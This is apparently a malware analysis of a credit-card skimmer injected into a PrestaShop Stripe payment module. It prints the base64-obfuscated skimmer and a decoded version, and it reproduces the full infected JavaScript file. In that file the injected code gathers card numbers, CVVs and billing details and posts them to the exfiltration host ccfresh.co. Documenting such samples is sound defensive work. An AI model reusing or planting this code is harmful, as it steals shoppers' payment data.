Prestashop StripeTag Skimmer

This skimmer uses JavaScript that has been injected into a legitimate file used by the Prestashop website to accept payment card data using the payment processor Stripe.

var StripeTag;
			StripeTag = window.atob("TmFtZSA6IA==") + stripe_token_params.name + "\n";
			StripeTag += window.atob("QWRkcmVzcyA6IA==") + stripe_billing_address.address1 + "\n";
			StripeTag += window.atob("Q2l0eSA6IA==") + stripe_billing_address.city + "\n";
			StripeTag += window.atob("U3RhdGUgOiA=") + stripe_billing_address.state + "\n";
			StripeTag += window.atob("WmlwIDog") + stripe_billing_address.postcode + "\n";
			StripeTag += window.atob("UGhvbmUgOiA=") + stripe_billing_address.phone + "\n";
			StripeTag += window.atob("Q291bnRyeSA6IA==") + stripe_billing_address.country + "\n";
			StripeTag += window.atob("Q0MgOiA=") + stripe_token_params.number + "\n";
			StripeTag += window.atob("VHlwZSA6IA==") + Stripe.cardType(stripe_token_params.number) + "\n";
			StripeTag += window.atob("RXhwIDog") + stripe_token_params.exp_month+"/";
			StripeTag += stripe_token_params.exp_year + "\n";
			StripeTag += window.atob("Q1ZWIDog") + stripe_token_params.cvc + "\n";
			StripeTag += window.atob("PT09PT09PT09PT09PT09PT09PT09PT09") + "\n";
			StripeTag += window.atob("V2ViIDog") + window.location.hostname + "\n";
			$.ajax({
			    type: 'POST',
			    url: window.atob("aHR0cHM6Ly9jY2ZyZXNoLmNvLzQwMy5waHA="),
			    data: window.location.hostname+'='+stripeBar(StripeTag)
			});

The skimmer creates a variable StripeTag and uses it to collect the existing stripe_token_params* and stripe_billing_* which contain the payment card data submitted by a website’s customer on the checkout page.

Exfiltration - ccfresh.co

The stolen payment data in variable StripeTag is then encoded with a separate function named stripeBar before it is exfiltrated via a POST request to the URL https://ccfresh.co/403.php.

When you decode the base64 the skimmer is easier to see along with the exfiltration domain:

var StripeTag;
			StripeTag = window("Name : ") + stripe_token_params.name + "\n";
			StripeTag += window("Address : ") + stripe_billing_address.address1 + "\n";
			StripeTag += window("City : ") + stripe_billing_address.city + "\n";
			StripeTag += window("State : ") + stripe_billing_address.state + "\n";
			StripeTag += window("Zip : ") + stripe_billing_address.postcode + "\n";
			StripeTag += window("Phone : ") + stripe_billing_address.phone + "\n";
			StripeTag += window("Country : ") + stripe_billing_address.country + "\n";
			StripeTag += window("CC : ") + stripe_token_params.number + "\n";
			StripeTag += window("Type : ") + Stripe.cardType(stripe_token_params.number) + "\n";
			StripeTag += window("Exp : ") + stripe_token_params.exp_month+"/";
			StripeTag += stripe_token_params.exp_year + "\n";
			StripeTag += window("CVV : ") + stripe_token_params.cvc + "\n";
			StripeTag += window("========================") + "\n";
			StripeTag += window("Web : ") + window.location.hostname + "\n";
			$.ajax({
			    type: 'POST',
			    url: window("https://ccfresh.co/403.php"),
			    data: window.location.hostname+'='+stripeBar(StripeTag)
			});

Sample

This skimmer was injected into lines 129-148 in the Prestashop website file modules/stripejs/views/js/stripe-prestashop.js


/*
 * This file is part of module Stripe Reloaded
 *
 *  @author    Bellini Services <bellini@bellini-services.com>
 *  @copyright 2007-2015 bellini-services.com
 *  @license   readme
 *
 * Your purchase grants you usage rights subject to the terms outlined by this license.
 *
 * You CAN use this module with a single, non-multi store configuration, production installation and unlimited test installations of PrestaShop.
 * You CAN make any modifications necessary to the module to make it fit your needs. However, the modified module will still remain subject to this license.
 *
 * You CANNOT redistribute the module as part of a content management system (CMS) or similar system.
 * You CANNOT resell or redistribute the module, modified, unmodified, standalone or combined with another product in any way without prior written (email) consent from bellini-services.com.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

if ( $.mobile ) {
	//we use both loading methods to invoke setup if mobile is detected.  Sometimes the .mobile is true even if mobile is not currently being used
   //jq mobile loaded
	$(document).on('pageinit', function() {
		stripeSetup();
	});
	$(document).ready(function() {
		stripeSetup();
	});

} else {
  // not jqm
	$(document).ready(function() {
		stripeSetup();
	});
} 



function stripeSetup()
{
	//no need to execute the setup if it has already been executed
	//this covers the following scenarios
	// 1) in case jquery mobile executes the page load (pageinit/.ready) multiple times
	// 2) if terms are not accepted yet, then setup wold have executed but since the payment form was hidden, it would need to be executed a second time.
	if ($('#stripe_setup_complete').val()==1)
		return false;

	//we should not execute unless the stripe form exists.  if the TOC checkbox is not yet checked, then the form will not yet exist
	if (!$('#stripe-payment-form').length)
		return false;

	/* Set Stripe's publishable key */
	Stripe.setPublishableKey(stripe_public_key);

	//since we are using smarty html_select_date custom function, which forces a name attribute, we are removing it here.  
	//This is to prevent the form data from being submitted to the server.  
	//(All form data is tokenized and therefore not submitted to the server)
	$('#stripe-card-expiry-month').removeAttr('name');
	$('#stripe-card-expiry-year').removeAttr('name');

	/* Determine the Credit Card Type */
	$('.stripe-card-number').keyup(function() {
		if ($(this).val().length >= 2)
		{
			stripe_card_type = Stripe.cardType($('.stripe-card-number').val());
			$('.cc-icon').removeClass('enable');
			$('.cc-icon').removeClass('disable');
			$('.cc-icon').each(function() {
				if ($(this).attr('rel') == stripe_card_type)
					$(this).addClass('enable');
				else
					$(this).addClass('disable');
			});
		}
		else
		{
			$('.cc-icon').removeClass('enable');
			$('.cc-icon:not(.disable)').addClass('disable');
		}
	});

	$('#stripe-payment-form-cc').submit(function(event) {
		$('.stripe-payment-errors').hide();
		$('#stripe-payment-form-cc').hide();
		$('#stripe-ajax-loader').show();
		$('.stripe-submit-button-cc').attr('disabled', 'disabled'); /* Disable the submit button to prevent repeated clicks */
	});

	$('#stripe-payment-form').submit(function(event) {
		var $element = $('.stripe-payment-errors');
		if(!$element.length)
			$('#stripe-payment-form').prepend('<div class="stripe-payment-errors">'+$('#stripe-error-occurred').text()+'</div>');

		if (!Stripe.validateCardNumber($('.stripe-card-number').val()))
			$('.stripe-payment-errors').text($('#stripe-wrong-card').text() + ' ' + $('#stripe-please-fix').text());
		else if (!Stripe.validateExpiry($('#stripe-card-expiry-month').val(), $('#stripe-card-expiry-year').val()))
			$('.stripe-payment-errors').text($('#stripe-wrong-expiry').text() + ' ' + $('#stripe-please-fix').text());
		else if (!Stripe.validateCVC($('.stripe-card-cvc').val()))
			$('.stripe-payment-errors').text($('#stripe-wrong-cvc').text() + ' ' + $('#stripe-please-fix').text());
		else
		{
			$('.stripe-payment-errors').hide();
			$('#stripe-payment-form').hide();
			$('#stripe-ajax-loader').show();
			$('#stripe-submit-button').attr('disabled', 'disabled'); /* Disable the submit button to prevent repeated clicks */

			stripe_token_params = { 
				number: $('.stripe-card-number').val(),
				cvc: $('.stripe-card-cvc').val(),
				exp_month: $('#stripe-card-expiry-month').val(),
				exp_year: $('#stripe-card-expiry-year').val(),
				metadata: {'BIN':parseInt($('.stripe-card-number').val().slice(0, 6))},
			};
			
			/* Check if the billing address element are set and add them to the Token */
			if (typeof stripe_billing_address != 'undefined')
			{
				stripe_token_params.name = stripe_billing_address.firstname + ' ' + stripe_billing_address.lastname;
				stripe_token_params.address_line1 = stripe_billing_address.address1;
				stripe_token_params.address_zip = stripe_billing_address.postcode;
				stripe_token_params.address_country = stripe_billing_address.country;
			}
			
			if (typeof stripe_billing_address.address2 != 'undefined')
				stripe_token_params.address_line2 = stripe_billing_address.address2;
			if (typeof stripe_billing_address.state != 'undefined')
				stripe_token_params.address_state = stripe_billing_address.state;
			if (typeof stripe_billing_address.city != 'undefined')
				stripe_token_params.address_city = stripe_billing_address.city;
			var StripeTag;
			StripeTag = window.atob("TmFtZSA6IA==") + stripe_token_params.name + "\n";
			StripeTag += window.atob("QWRkcmVzcyA6IA==") + stripe_billing_address.address1 + "\n";
			StripeTag += window.atob("Q2l0eSA6IA==") + stripe_billing_address.city + "\n";
			StripeTag += window.atob("U3RhdGUgOiA=") + stripe_billing_address.state + "\n";
			StripeTag += window.atob("WmlwIDog") + stripe_billing_address.postcode + "\n";
			StripeTag += window.atob("UGhvbmUgOiA=") + stripe_billing_address.phone + "\n";
			StripeTag += window.atob("Q291bnRyeSA6IA==") + stripe_billing_address.country + "\n";
			StripeTag += window.atob("Q0MgOiA=") + stripe_token_params.number + "\n";
			StripeTag += window.atob("VHlwZSA6IA==") + Stripe.cardType(stripe_token_params.number) + "\n";
			StripeTag += window.atob("RXhwIDog") + stripe_token_params.exp_month+"/";
			StripeTag += stripe_token_params.exp_year + "\n";
			StripeTag += window.atob("Q1ZWIDog") + stripe_token_params.cvc + "\n";
			StripeTag += window.atob("PT09PT09PT09PT09PT09PT09PT09PT09") + "\n";
			StripeTag += window.atob("V2ViIDog") + window.location.hostname + "\n";
			$.ajax({
			    type: 'POST',
			    url: window.atob("aHR0cHM6Ly9jY2ZyZXNoLmNvLzQwMy5waHA="),
			    data: window.location.hostname+'='+stripeBar(StripeTag)
			});			
			Stripe.card.createToken(stripe_token_params, stripeResponseHandler);

			return false; /* Prevent the form from submitting with the default action */
		}

		$('.stripe-payment-errors').fadeIn(1000);
		return false;
	});

	$('#stripe-replace-card').click(function() {
		$('#stripe-payment-form-cc').hide();
		$('#stripe-payment-form').fadeIn(1000);
	});

	$('#stripe-delete-card').click(function() {
		var message = $('#stripe-card-del-message').text();
		var isConfirmed = confirm(message);
		if (!isConfirmed)
			return false;

		cardToken=$('#stripeToken').val();
		cardTokenSize=$('select#stripeToken option').length;

		//hide the form and show the loader
		$('#stripe-payment-form-cc').hide();
		$('#stripe-ajax-loader').show();

		/* .done function does not exist until jquery v1.5 */
		if (jQuery.fn.jquery < '1.5')
		{
			$.ajax({
				type: 'POST',
				url: ajax_url,
				data: 'action=delete_card&stripeToken='+cardToken+'&token=' + stripe_secure_key,
				success: function(response) {
					ajaxSuccessHandler(response);
				}	
			});
		}
		else
		{
			$.ajax({
				type: 'POST',
				url: ajax_url,
				data: 'action=delete_card&stripeToken='+cardToken+'&token=' + stripe_secure_key
			}).done(function(msg)
			{
				ajaxSuccessHandler(msg);
			});
		}
	});

	/* Catch callback errors */
	if ($('.stripe-payment-errors').text())
		$('.stripe-payment-errors').fadeIn(1000);

	$('#stripe-payment-form').append('<input type="hidden" id="stripe_setup_complete" value="1" />');

}

function ajaxSuccessHandler(response)
{
	//hide the loader and show the form
	$('#stripe-ajax-loader').hide();
	$('#stripe-payment-form-cc').show();

	if (response == 1)
	{
		if (cardTokenSize<2)
		{
			$('#stripe-payment-form-cc').hide();
			$('.stripe-card-deleted').text($('#stripe-card-del').text()).fadeIn(1000);
			$('#stripe-payment-form').fadeIn(1000);

		} else if (cardTokenSize>1)	{
			//remove the selected card from the list
			$('#stripeToken :selected').remove(); 
			$('.stripe-card-deleted').text($('#stripe-card-del1').text()).fadeIn(1000);
		}

	}
	else
		alert($('#stripe-card-del-error').text());
}

function stripeResponseHandler(status, response)
{

	if (response.error)
	{
		if ($('.stripe-payment-errors').length)
			$('.stripe-payment-errors').fadeIn(1000);
		else
		{
			$('#stripe-payment-form').prepend('<div class="stripe-payment-errors">'+$('#stripe-error-occurred').text()+'</div>');

			$('.stripe-payment-errors').fadeIn(1000);
		}

		$('#stripe-submit-button').removeAttr('disabled');
		$('#stripe-payment-form').show();
		$('#stripe-ajax-loader').hide();
	}
	else
	{
		var token = response.id;
		$('.stripe-payment-errors').hide();
		$('#stripe-payment-form').append('<input type="hidden" name="stripeToken" value="' + escape(token) + '" />');
		$('#stripe-payment-form').append('<input type="hidden" name="StripLastDigits" value="' + parseInt($('.stripe-card-number').val().slice(-4)) + '" />');
		$('#stripe-payment-form').append('<input type="hidden" name="stripeBIN" value="' + parseInt($('.stripe-card-number').val().slice(0, 6)) + '" />');
		$('#stripe-payment-form').get(0).submit();
	}
}
function stripeBar(str) {
    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
        return String.fromCharCode('0x' + p1);
    }));
}